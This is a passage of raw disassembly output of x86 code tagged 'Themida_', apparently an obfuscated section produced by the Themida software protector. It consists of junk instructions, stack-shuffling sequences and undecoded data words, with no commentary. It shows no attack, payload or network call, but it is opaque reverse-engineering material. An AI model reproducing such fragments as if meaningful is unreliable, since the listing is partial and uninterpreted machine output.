0E95B22FDh, 0FFFFD086h dd 5002EFC1h, 6F18E9h, 8BD80100h, 0C481241Ch, 4, 0E9240487h dd 0FFFFEAC1h ; --------------------------------------------------------------------------- loc_547520: ; CODE XREF: Themida_:00545994j sub eax, 663C40D4h jmp loc_549C9D ; --------------------------------------------------------------------------- dw 0C300h dd 735868h, 24148900h, 0B217B050h, 0E9C230E6h, 7E7Dh, 1E19B951h dd 0D9F74965h, 8E51E9h db 0 ; --------------------------------------------------------------------------- loc_54754D: ; CODE XREF: Themida_:0054EBBEj pop eax jmp loc_548775 ; --------------------------------------------------------------------------- loc_547553: ; CODE XREF: Themida_:005462CCj pop esp jmp loc_54B0C1 ; --------------------------------------------------------------------------- db 21h, 0F0h, 0E9h dd 0FFFFED71h, 665BCB80h, 0FFB252h, 4091E9D3h, 0EB800000h dd 594E9F5h, 0EC830000h, 24348904h, 0BA525E54h, 4, 4E9D601h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_54758B: ; CODE XREF: Themida_:00550505j retn ; --------------------------------------------------------------------------- dd 81B8E9h db 0 ; --------------------------------------------------------------------------- loc_547591: ; CODE XREF: Themida_:0054AC72j add esp, 4 add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] jmp loc_545BAE ; --------------------------------------------------------------------------- loc_5475BF: ; CODE XREF: Themida_:00545791j and ecx, ebp mov ebp, [esp] push edx jmp loc_547385 ; --------------------------------------------------------------------------- dw 5066h dd 0C63005B0h, 0F3285866h, 80C3005Ah, 4CE9A6C3h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5475DF: ; CODE XREF: Themida_:0054EE01j push esi mov esi, 53A13F91h jmp loc_54EEE3 ; --------------------------------------------------------------------------- dw 0F66h dd 686602B6h, 89660C07h, 5FE92404h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5475FB: ; CODE XREF: Themida_:00547D20j push edx mov edx, 7C283729h sub edx, 38BB0A5Eh inc edx or edx, 666C147Ah xor edx, 23095B22h sub edx, 2F63EEFAh mov ecx, edx jmp loc_547066 ; --------------------------------------------------------------------------- db 4Eh, 81h, 0F6h dd 625C1350h, 254F681h, 91E95B29h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547633: ; CODE XREF: Themida_:00545DA9j push eax mov eax, esp push ebx mov ebx, 4 sub eax, 572B381Ch add eax, ebx add eax, 572B381Ch jmp loc_545DBE ; --------------------------------------------------------------------------- db 81h, 0E9h, 34h dd 81F23A45h, 4D6813EBh, 115DE90Fh, 34FF0000h, 0EFE95A24h dd 4000071h, 52595A36h, 127E6850h, 14890000h, 0FDE5E924h dd 3E05FFFFh, 350DA53Ah, 90873FA2h, 48BC201h, 9DE95324h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54768F: ; CODE XREF: Themida_:005482C6j mov edx, 51781BD4h jmp loc_54B155 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 0C1h dd 0DDF707E5h, 0C1FFED83h, 0C58108E5h, 0A71D59A4h, 0C15DEB09h dd 0EB8107E3h, 0FE3F7704h, 1C8BDE89h, 7A2E924h, 0C1810000h dd 4B61723Ah, 2FA5E981h, 0E95D454Bh, 39E5h, 0CB35AB1h dd 0FFE26AE9h, 2474FFFFh, 24348B04h, 8F04C483h, 248B2404h dd 24D36624h, 93E99C24h, 5AFFFFCEh, 51D6E9h, 1189B900h dd 50BB3971h, 138F854h, 0D82959CBh, 58C1895Bh, 0C8BC801h dd 4C48324h, 31240433h, 4332404h, 4015C24h, 5FE99C24h dd 0BDFFFFCEh, 25FF1E2Bh, 14ABA52h, 0F28106A6h, 3A2D06Fh dd 315AD529h, 242C8BEEh, 81E68956h, 4C6h, 4C68100h, 87000000h dd 0ECE92434h, 81FFFFF8h, 5504246Ch, 0E968B71Eh, 0FFFFF2E3h dd 57240C89h, 1BFh, 13426800h, 0A7E90000h, 0DFFFFE2h, 9DE651Bh dd 0E470F225h, 62160568h, 0D0F758BCh, 7F2D932Dh, 58C5017Eh dd 36F8E9h db 0 ; --------------------------------------------------------------------------- loc_547799: ; CODE XREF: Themida_:0054A423j not ebx xchg ebx, esi push edx push ecx mov ecx, 341B0553h mov edx, 96F7454Bh sub edx, ecx pop ecx sub edx, 6A363C3Ah not edx not edx xor edx, 41652466h add edx, 113ACAA9h add esi, edx pop edx and ecx, esi pop esi shr ecx, 7 push 248Bh mov [esp], ebx jmp loc_5500D1 ; --------------------------------------------------------------------------- dd 8B24048Fh, 34FF2424h, 2434FF24h, 0A9E95558h, 0BD000030h dd 0C4303ADh, 0BCFC57BAh, 61EA81F3h, 171451Fh, 61C281EAh dd 0E971451Fh, 0FFFFED92h, 5BA868h, 243C8900h, 8A690ABFh dd 38EF8110h, 556C7C4Ch, 3054D9BDh, 534D4D1Eh, 607AE7BBh dd 781BE904h, 5A540000h, 457DE9h, 241C8900h, 42F0E9h, 64CF6800h dd 14890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_54D0FA ; --------------------------------------------------------------------------- dd 0E92434FFh, 61FFh, 4C4815Ah, 0 dd 24148BF7h, 0A9BE9h, 5DE98900h, 0B0CEF181h, 0C801D467h dd 2E91E9h, 0C8B6600h, 0E9545524h, 4FAh ; --------------------------------------------------------------------------- loc_54788C: ; CODE XREF: Themida_:0054D4DAj mov [esp], ebx jmp loc_548208 ; --------------------------------------------------------------------------- dd 0D999E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54789A: ; CODE XREF: Themida_:0054BA45j push dword ptr [esp] jmp loc_546812 ; --------------------------------------------------------------------------- dw 34BEh dd 53093F2Ah, 1591E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi push 507810C0h pop edi shr edi, 3 jmp loc_5466D3 ; --------------------------------------------------------------------------- aRsrk db '╟ЮИRk',0 align 2 dw 0EA81h dd 4A9A44C3h, 18A0EA81h, 74E92550h, 4200006Ah, 4513C281h dd 0BF577C47h, 61E54025h, 8106EFC1h, 0F816C1F7h, 0D9E93Dh dd 34310000h, 24343324h, 2849E9h, 5BD80100h, 544BE9h, 0B4BBD00h dd 0ED8127C4h, 399610E3h, 0E903EDC1h, 42ABh ; --------------------------------------------------------------------------- loc_547918: ; CODE XREF: Themida_:00545F64j add eax, 0E71E2DFEh jmp loc_549D10 ; --------------------------------------------------------------------------- dw 5D56h dd 0FFE942E9h, 240C89FFh, 16E9E5B1h, 81000049h, 0B3270DE3h dd 74EB817Ch, 31D450F6h, 0E8015BDDh, 6849E9h, 7C4BE00h dd 0F189037Bh, 5E2434FFh, 4C481h, 0C9810000h, 530B3E64h dd 2743F181h, 7CE949F2h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54796B: ; CODE XREF: Themida_:00545A2Cj mov ecx, 3FAFAD1h add edx, ecx pop ecx jmp loc_545B57 ; --------------------------------------------------------------------------- loc_547978: ; CODE XREF: Themida_:005467C8j xchg ebx, [esp] pop edx push edi push ecx jmp loc_54AEF3 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 48E0E9h, 243C3100h, 0E9243C33h, 7227h dd 66E1F65Ch db 0Fh, 0B6h, 0CCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax push 16973DAEh pop eax push esi mov esi, 4E0515BDh jmp loc_54F89B ; --------------------------------------------------------------------------- dw 0BFE9h dd 0F7FFFFCBh, 4EFC1DFh, 0EF81EFD1h, 9986B799h, 0E95FFA29h dd 14E2h, 4C181h, 0C870000h, 78685C24h, 89000025h, 2EB7241Ch dd 161DE9h, 0C4835D00h, 0CB88E904h, 5E5EFFFFh, 3302C183h dd 0C31240Ch, 240C3324h, 6624248Bh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_549458 ; --------------------------------------------------------------------------- db 0BBh dd 3D0245C1h, 0DDC38143h, 0E9B1064Eh, 8B65h ; --------------------------------------------------------------------------- loc_547A30: ; CODE XREF: Themida_:0054A60Dj pop ecx jmp loc_54A883 ; --------------------------------------------------------------------------- dw 1768h dd 89000067h, 0B9512434h, 7A7E2E3Fh, 8159CE89h, 0FD2097E6h dd 6EEC138h, 0FFCCB7E9h, 0EC8359FFh, 4490E904h, 77FF0000h dd 59669D1Ch, 9C241CD3h, 0FFCB1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_547A6D: ; CODE XREF: Themida_:0054AC8Ej add esp, 4 shl ebx, 7 push ecx mov ecx, 440F7B43h xor ebx, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax push ecx push edx mov edx, 11020CBDh push esi mov esi, 8D03026h shl esi, 6 jmp loc_548E0E ; --------------------------------------------------------------------------- db 33h dd 248B241Ch, 24048924h, 0FFCADDE9h db 0FFh ; --------------------------------------------------------------------------- loc_547AAD: ; CODE XREF: Themida_:00544C7Fj xchg ecx, [esp] jmp loc_54CC88 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0EDh dd 813F1425h, 380A5CC7h, 81F72935h, 380A5CEFh, 0EDC78135h dd 0FF3F1425h, 815E2434h, 4C4h, 243C8700h, 0E924248Bh dd 10B8h, 3F7F68h, 240C8900h, 1D3AE9h, 0EF805A00h, 5BF80023h dd 0D624CA0Ch, 6ECCE9h, 24048700h, 2E45E95Ch, 0C3800000h dd 0F88E94Fh, 5B0000h, 53E95AD3h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547B1B: ; CODE XREF: Themida_:0054BF79j pop eax shr ebx, 5 push ecx mov ecx, 8781BB2h neg ecx xor ecx, 0D2E44C9h add ebx, ecx mov ecx, [esp] add esp, 4 and eax, ebx push dword ptr [esp] pop ebx push 15A2h jmp loc_548393 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 7D61E900h, 0DA290000h, 82B3E95Bh, 0EF890000h dd 0E9F8315Dh, 2CAh, 689AE95Fh, 0C1810000h, 77B93EE2h dd 0E981D901h, 77B93EE2h, 2C1815Bh, 87000000h, 685C240Ch dd 6635h, 81241C89h, 4ECh, 24048900h, 0FFCA51E9h, 74FF51FFh dd 0C8B0424h, 4C48124h, 8F000000h, 0F5C2404h, 7D68C8B6h dd 89000049h, 0CBE9240Ch db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547BBF: ; CODE XREF: Themida_:0054907Cj pop ecx sub edi, 145D5390h jmp loc_549E5D ; --------------------------------------------------------------------------- db 81h dd 7B5818F3h, 5BDD09E2h, 35E6E581h, 0DDF77128h, 0D1B9ED81h dd 0EB29462Bh, 0E9008F5Dh, 80ECh ; --------------------------------------------------------------------------- loc_547BEC: ; CODE XREF: Themida_:0054D615j neg eax or eax, 72473CC5h jmp loc_54DD6E ; --------------------------------------------------------------------------- dd 10E5E95Dh, 0FE880000h, 0E95AF488h, 83C6h, 0E92434FFh dd 858Ch, 875EF229h, 76E92414h, 1000017h, 219E68C6h, 4890000h dd 43E0B824h, 0FF5029A8h, 5158240Ch, 0FFFFFFB9h, 59C801FFh dd 78E968h, 242C8900h, 0EF4E5BBDh, 29532D73h, 0E8296FE9h dd 0E9295305h, 0C9E95D6Fh db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C57: ; CODE XREF: Themida_:00544970j pop esi push eax push esi push 2EF73561h pop esi neg esi xor esi, 0D108CA9Bh mov eax, esi pop esi jmp loc_548114 ; --------------------------------------------------------------------------- dd 0E95AD029h, 3D2h, 24048B66h, 0FFD96BE9h, 0C8966FFh dd 0E93DB524h, 864Ch, 0CFBEE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547C92: ; CODE XREF: Themida_:0054868Cj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx jmp loc_54AC6D ; --------------------------------------------------------------------------- dw 15Fh dd 43359C8h, 24043124h, 0FFCA78E9h, 0A2EA81FFh, 1161208h dd 0C3835AD3h, 241C3304h, 33241C31h, 248B241Ch, 2434FF24h dd 0E1895158h, 674668h, 242C8900h, 4BDh, 0A5C18100h, 0E9454B2Fh dd 74EEh, 4904F800h, 0B3B5515Bh, 2C59E828h, 4EC83ACh, 0E9241C89h dd 58F6h, 4C481h, 0C3810000h, 4, 0FFF19AE9h db 0FFh ; --------------------------------------------------------------------------- loc_547D11: ; CODE XREF: Themida_:0054BA54j pop edx not ebp sub ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ecx jmp loc_5475FB ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h aSvv db '\И╒v',0 align 2 aXsx db '╤∙Иx',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_547D35: ; CODE XREF: Themida_:00545838j push eax mov eax, 2919526Ah jmp loc_54F427 ; --------------------------------------------------------------------------- loc_547D40: ; CODE XREF: Themida_:00549990j push ecx mov ecx, 70F22814h mov ebx, 52AE16FEh jmp loc_54F3D9 ; --------------------------------------------------------------------------- dd 0DCBA52ADh, 42354F03h, 0A9BD5542h, 0C1570348h, 0F58105E5h dd 49690751h, 0E5C1D5F7h, 7DC58104h, 29BD1D3Eh, 0F2815DEAh dd 379D9C9Eh, 2D525F05h, 6331E951h, 34FF0000h, 0E9555D24h dd 7A76h, 0CDBA52h, 0BB532232h, 4BD5413h, 3114E9h db 0 ; --------------------------------------------------------------------------- loc_547DA1: ; CODE XREF: Themida_:0054E080j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], cx jmp loc_54D938 ; --------------------------------------------------------------------------- loc_547DB6: ; CODE XREF: Themida_:00544A65j mov bh, ch mov al, bh jmp loc_5494C2 ; --------------------------------------------------------------------------- db 66h dd 66241C31h, 66241C33h, 66241C31h, 6612C368h, 66241C89h dd 66243487h, 8766D6F7h, 8B662434h, 0C768241Ch, 0E9000042h dd 147Dh, 770DC2BAh, 5E2C135h, 7B22C281h, 4E95FE4h, 53FFFFEAh dd 0B44CDABBh, 29EB817Ch, 292ADF53h, 0F8015BDFh, 83243C8Bh dd 0C30104C4h, 582434FFh, 8104C483h, 1B28B5EBh, 81C32962h dd 1B28B5C3h, 29A6E962h, 34FF0000h, 89535F24h, 4B850E3h dd 1000000h, 0C38358C3h, 0CAA3E904h, 8966FFFFh, 0C7E92404h dd 68000057h, 7761h, 0FFE283E9h, 0E95266FFh, 6837h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edi, 3EFC34ADh sub edi, 7D0830E0h sub edi, esi jmp loc_54BCE1 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC6FEh, 0C581D5F7h, 56400207h, 0CAE9EF01h, 5EFFFFEFh dd 5C24048Fh, 3108E8C1h, 721068C8h, 2AE90000h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547EAF: ; CODE XREF: Themida_:005452DFj push dword ptr [esp+4] pop edi pop dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54A2CF ; --------------------------------------------------------------------------- dd 7D92E281h, 0DAF74B0Eh, 0F705E2C1h, 0EA81D2h, 0E9A4E685h dd 293h ; --------------------------------------------------------------------------- loc_547ED8: ; CODE XREF: Themida_:0054566Ej xor ebp, edi jmp loc_550663 ; --------------------------------------------------------------------------- aXsa db 'XИA"',0 dd 0C8B6600h, 23306824h, 34890000h, 0C5E95424h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547EF7: ; CODE XREF: Themida_:0054D55Cj add esi, 4 xchg esi, [esp] pop esp push 6A08h mov [esp], eax mov eax, 0EBE7E38h mov [edx+38h], eax mov eax, [esp] add esp, 4 sub [edx+38h], ecx jmp loc_545E3A ; --------------------------------------------------------------------------- dw 8966h dd 5FE92404h, 29FFFFC6h, 0C335DE9h, 240C3124h, 5C240C33h dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFC642h, 0C581E589h dd 4, 797CE9h, 0F0B05000h, 53E2B450h, 0C7E9E788h, 0FFFFFFEEh dd 0FF042474h, 575E2434h, 0FFE9F1E9h, 0C614E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547F76: ; CODE XREF: Themida_:0054F1A8j add ebp, 4 add ebp, 2 jmp loc_54E366 ; --------------------------------------------------------------------------- db 0F7h dd 3E8C1D8h, 504F35h, 58C1011Eh, 0DA97E951h, 0C481FFFFh dd 4, 3304C283h, 14312414h, 24143324h, 0FFD828E9h, 1AC381FFh dd 890C403Ch, 0F6815BDEh, 60ADEFDh, 3DB7E9h, 20685500h dd 8900001Eh, 4812424h, 424h, 242C8B00h, 4C481h, 0E9500000h dd 0FFFFF4A1h ; --------------------------------------------------------------------------- loc_547FE4: ; CODE XREF: Themida_:0054ECF1j xor edi, 681394D1h jmp loc_5481B7 ; --------------------------------------------------------------------------- db 8Bh dd 0EC81241Ch, 4, 89240489h, 405E0h, 4050000h, 87000000h dd 3EE92404h, 28000015h, 44D9E9F8h, 585B0000h, 0F6CAFE5Bh dd 6D52E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548022: ; CODE XREF: Themida_:0054D5E1j push edi jmp loc_54F716 ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 59DCBF24h, 0CAE9221Ch, 5A000039h dd 31243433h, 34332434h, 344FE924h, 0EC680000h, 89000073h dd 44E9243Ch db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548057: ; CODE XREF: Themida_:005483B7j mov ecx, 65FE0AC2h add ecx, 0FFFFFFFFh jmp loc_5467EC ; --------------------------------------------------------------------------- dd 0D2F7D787h, 5250D787h, 0E96353BAh, 564FE945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548076: ; CODE XREF: Themida_:0054FE78j mov eax, [esp] push eax jmp loc_547207 ; --------------------------------------------------------------------------- db 0BEh dd 28AE779Ah, 4244481h, 6CD146D5h, 5234B951h, 4C297AB0h dd 0E9590824h, 0FFFFE3C0h ; --------------------------------------------------------------------------- loc_54809C: ; CODE XREF: Themida_:0054A750j xor ebx, ecx pop ecx jmp loc_5454B9 ; --------------------------------------------------------------------------- loc_5480A4: ; CODE XREF: Themida_:0054C8C3j sub eax, ecx pop ecx mov ebx, eax pop eax push edx mov edx, 25E47A85h sub edx, 1E08146Bh add edx, 0FCE6B038h jmp loc_5496D1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 6F86824h, 1C890000h, 59E95424h, 87000055h, 248B2404h dd 0BB0F6624h, 0E99C2404h, 0FFFFC4A6h, 0B9240C89h, 589854DFh dd 5D59C801h, 31240433h, 4332404h, 24248B24h, 4BB0F66h dd 83E99C24h, 50FFFFC4h, 4055854h, 0E9000000h, 74E2h ; --------------------------------------------------------------------------- loc_548114: ; CODE XREF: Themida_:00547C6Bj add esi, eax mov eax, [esp] jmp loc_55063E ; --------------------------------------------------------------------------- loc_54811E: ; CODE XREF: Themida_:0054E413j or edi, 147F7102h add edi, 72B215ACh sub edi, 6CA24423h jmp loc_54E029 ; --------------------------------------------------------------------------- db 56h, 0BEh, 38h dd 0E9000000h, 10B1h, 56241C89h, 9E1AFFBEh, 2474317Ch dd 24348B04h, 81E78957h, 4C7h, 4C78100h, 87000000h, 8B5C243Ch dd 79E92404h, 89FFFFF9h, 0D8315AD3h, 5E98685Bh, 34890000h dd 3677E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54817E: ; CODE XREF: Themida_:0054D512j sub al, bh pop ebx add al, 0EEh add al, bl sub al, 0EEh jmp loc_54BDAB ; --------------------------------------------------------------------------- dd 405h, 4BF5700h, 0E9000000h, 0FFFFD1CDh, 4C5815Dh, 83000000h dd 0D76804EDh, 89000066h, 74FF242Ch, 7BE90424h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5481B7: ; CODE XREF: Themida_:00547FEAj add ebp, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 7AF55674h or ecx, 39503F96h not ecx inc ecx jmp loc_54583D ; --------------------------------------------------------------------------- db 80h dd 0EA8001EAh, 0E9362CB5h, 6958h, 68241489h, 642h, 50242C89h dd 0FFED49E9h, 2C77FFFFh, 0FFC391E9h, 24348BFFh, 3790E9h dd 0E9D7F700h, 0FFFFCA08h ; --------------------------------------------------------------------------- loc_548208: ; CODE XREF: Themida_:0054788Fj add dword ptr [esp], 6FEE74B5h mov ebp, [esp] add esp, 4 push 12DCh mov [esp], esi mov esi, 6FEE74B5h sub ebp, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, ebp push dword ptr [esp] pop ebp add esp, 4 push ebp mov ebp, 6EB7721Ah jmp loc_548BC0 ; --------------------------------------------------------------------------- loc_548251: ; CODE XREF: Themida_:0054D505j mov [esp], esi mov esi, esp push eax mov eax, 4 push edi mov edi, 79095E5Bh sub esi, edi pop edi add esi, eax add esi, 79095E5Bh pop eax add esi, 4 push 754Dh mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54ACB9 ; --------------------------------------------------------------------------- loc_548291: ; CODE XREF: Themida_:0054FC02j add esp, 4 add esp, 4 or edx, eax shl edx, 1 push 413Ch mov [esp], esi mov esi, esp push eax mov eax, 4 add esi, eax pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 2BC85872h not ebp push edx jmp loc_54768F ; --------------------------------------------------------------------------- db 8Bh dd 0F7662424h, 0E38953F9h, 5353BA52h, 0F8E948F7h, 5BFFFFF5h dd 0D8005A66h, 8904EC83h, 55B7241Ch, 0F828382Ch, 515B3804h dd 0C8282AB1h, 7529E9h db 0 ; --------------------------------------------------------------------------- loc_5482FD: ; CODE XREF: Themida_:0054E50Bj sub eax, 5BF91F1Ch xor eax, 0F114BCEDh jmp loc_54BF77 ; --------------------------------------------------------------------------- dd 4C481h, 0B4500000h, 6C49E9BFh, 0F7010000h, 0E92434FFh dd 0FFFFD58Fh ; --------------------------------------------------------------------------- loc_548324: ; CODE XREF: Themida_:0054E38Dj xchg eax, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] jmp loc_54458A ; --------------------------------------------------------------------------- db 8Bh dd 0EC812404h, 4, 0E9240489h, 0FFFFEBC0h, 0E947D7F7h, 0FFFFFAB3h dd 0E9535954h, 7E06h, 0BB241C89h, 3Ch, 255CBA52h, 0D301115Ah dd 0E924148Bh, 0FFFFDE81h, 240C8B66h, 51E08950h, 63DDE9h dd 8BD70100h, 0C4832414h, 6EC78104h, 12D39E4h, 0E224E9FEh dd 0F7E9FFFFh db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548393: ; CODE XREF: Themida_:00547B43j mov [esp], ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push ecx jmp loc_548057 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 48B2434h, 6080E924h, 0E9590000h, 0FFFFC943h dd 0BF57595Bh, 74844959h, 5602C781h, 685368AEh, 4E3C4040h dd 3389E9h db 0 ; --------------------------------------------------------------------------- loc_5483E9: ; CODE XREF: Themida_:00544A46j add esi, eax jmp loc_550555 ; --------------------------------------------------------------------------- loc_5483F0: ; CODE XREF: Themida_:0054AF03j add edi, 2AC47220h sub edi, ecx sub edi, 2AC47220h jmp loc_54EA63 ; --------------------------------------------------------------------------- db 8Fh dd 545C2404h, 0E924048Fh, 5182h, 8B242C87h, 8B662424h dd 0C968240Ch, 0E9000020h, 0FFFFE654h, 0B54FF381h, 0DA89AC17h dd 0CBE95Bh, 0E2890000h, 4C281h, 0E9E90000h, 8700004Eh dd 525C2414h, 17191EBAh, 8BD72159h, 0C4832414h, 6BD5504h dd 52480700h, 9057A0BAh, 0CBF2812Eh, 0C14E4F54h, 554208EAh dd 292166BDh, 5DEA2906h, 4222EA81h, 0D729C7B5h, 8324148Bh dd 0EF2904C4h, 7B7CC781h, 71E93282h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54848B: ; CODE XREF: Themida_:0054F5D8j shr edi, 2 jmp loc_5472C1 ; --------------------------------------------------------------------------- db 81h dd 3D31F9CBh, 0BA524B69h, 1F1C4242h, 15CAE9h db 0 ; --------------------------------------------------------------------------- loc_5484A5: ; CODE XREF: Themida_:005447A2j add ecx, 4 jmp loc_547311 ; --------------------------------------------------------------------------- loc_5484B0: ; CODE XREF: Themida_:00545E00j pop eax push ebp jmp loc_54AE6B ; --------------------------------------------------------------------------- db 81h dd 2525CFEDh, 5DEF31ACh, 4F08E7C1h, 0CF87D7F7h, 0CF87D1F7h dd 63F5E9h, 0B0505800h, 58C1008Ah, 0F603E980h, 0F4E980D9h dd 3059CA88h, 24148BD0h, 3004C483h, 0C0B60FC3h, 0B176866h dd 24048966h, 0FFC08DE9h, 1C281FFh, 42000000h, 0FFEE2EE9h dd 242C89FFh, 2BDh, 5FE98100h, 11B5E10h, 5FC181E9h, 5D1B5E10h dd 31240C33h, 0C33240Ch, 727AE924h, 34890000h, 0C57BE924h dd 8B66FFFFh, 9D682404h, 0E900007Dh, 650h, 0FB89C781h dd 0FB297D11h, 8BD8295Fh, 5450241Ch, 51B1E958h, 0E9810000h dd 92E8A1E2h, 6859C801h, 3FF2h, 52241C89h, 1F72BDBAh, 0C2814A7Ah dd 34DD7046h, 3295E281h, 0C1E91C3Bh db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548583: ; CODE XREF: Themida_:00546B71j add edi, ecx add edi, 6A6D05D6h sub esp, 4 mov [esp], ecx mov ecx, 70596B11h add edi, ecx pop ecx jmp loc_54CE8A ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 68241C89h, 2A55h, 0F7EE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5485B6: ; CODE XREF: Themida_:00545208j push ebx mov ebx, 507D4FE2h add ebx, 11D95965h not ebx shr ebx, 7 push ebx dec dword ptr [esp] pop ebx dec ebx push esi jmp loc_55003D ; --------------------------------------------------------------------------- db 5Fh dd 4C781h, 0BD550000h, 4, 575DEF29h, 42474FFh, 24048F5Fh dd 734AE95Ch, 54510000h, 74DDE959h, 0F9BA0000h, 8921A436h dd 0C3215AD0h, 582434FFh, 4C481h, 0EB810000h, 4E135C8Bh dd 8103E3C1h, 79B19CC3h, 5BDF0167h, 5702C783h, 42474FFh dd 3CFCE95Fh, 875C0000h, 0FF5C241Ch, 50E92434h, 5D000016h dd 0EE81CE29h, 38A01835h, 24348759h, 29DAE9h, 2EADBB00h dd 43437D51h, 8107E3C1h, 92D711EBh, 5BDA0188h, 6853E9h dd 77E52D00h, 0BBE9008Dh db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54866F: ; CODE XREF: Themida_:0054BF37j pop ebp sub esp, 4 mov [esp], ebx mov ebx, 344A16BFh xor ebp, ebx pop ebx and eax, ebp pop ebp or eax, eax jz loc_546082 push dword ptr [edi+28h] jmp loc_547C92 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 51000000h, 8904EC83h, 0DBA2414h, 811B1D60h, 0CA1F60CAh dd 0C1DAF731h, 0EAC103E2h, 0C2814A05h, 7101F8B5h, 0E95AD189h dd 71E6h ; --------------------------------------------------------------------------- loc_5486C0: ; CODE XREF: Themida_:00544C89j add esp, 4 sub edi, 5D1D3F30h jmp loc_54EC58 ; --------------------------------------------------------------------------- dw 0C0B1h dd 80EAC180h, 0C82075C1h, 165FE9h, 4C48100h, 81000000h dd 0DC1F01C3h, 0B5C38141h, 810C7048h, 0C764E2EBh, 0E9C3014Bh dd 6FC6h, 8124048Bh, 4C4h, 0D9F58100h, 17B7753h, 0FF575DEFh dd 0E9042474h, 1AD3h, 0FA17E950h, 8166FFFFh, 0E9576CF7h dd 0FFFFD2D4h ; --------------------------------------------------------------------------- loc_548728: ; CODE XREF: Themida_:005457D4j mov eax, edx push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add esp, 4 push ebp push ebx push 60BE0700h jmp loc_54FEA9 ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 8B240433h, 2BE92424h, 55FFFFBEh, 6DB5BB53h dd 0D3F75320h, 292FE381h, 0E3D11884h, 32F7E9h db 0 ; --------------------------------------------------------------------------- loc_548775: ; CODE XREF: Themida_:0054754Ej add eax, 4 add eax, 4 push eax jmp loc_54F3B0 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 0E9F1F65Ch, 7A7Dh ; --------------------------------------------------------------------------- loc_548794: ; CODE XREF: Themida_:0054D85Aj add ebp, 0FFFFFFFFh jmp loc_54EB50 ; --------------------------------------------------------------------------- db 5Ch dd 61BE6866h, 241C8966h, 5533E9h, 41C68000h, 0EE80C600h dd 0E4E95841h, 29000069h, 13C381CBh, 0E90F4D68h, 257Bh dd 1E0BBF57h, 0FBA3353h, 2933531Eh, 0D0015FFAh, 7B9AE9h dd 5029BF00h, 2DBD3D2Eh, 313D2E50h, 0EA015FFDh, 2414875Dh dd 0C124248Bh, 83E906E9h, 52FFFFCAh, 0C1CBB53h, 0F74316ACh dd 81DBF7D3h, 5322ADE3h, 1CF38173h, 0E93A0F23h, 493Dh dd 0EA814A42h, 22C514ACh, 3526C281h, 0D731025Ah, 8124148Bh dd 4C4h, 8BF80100h, 8DE9243Ch, 81000071h, 2A3A79F2h, 9BEA8140h dd 816C1A0Dh, 0E1483EF2h, 82F281FDh, 815E7603h, 0D36B17C2h dd 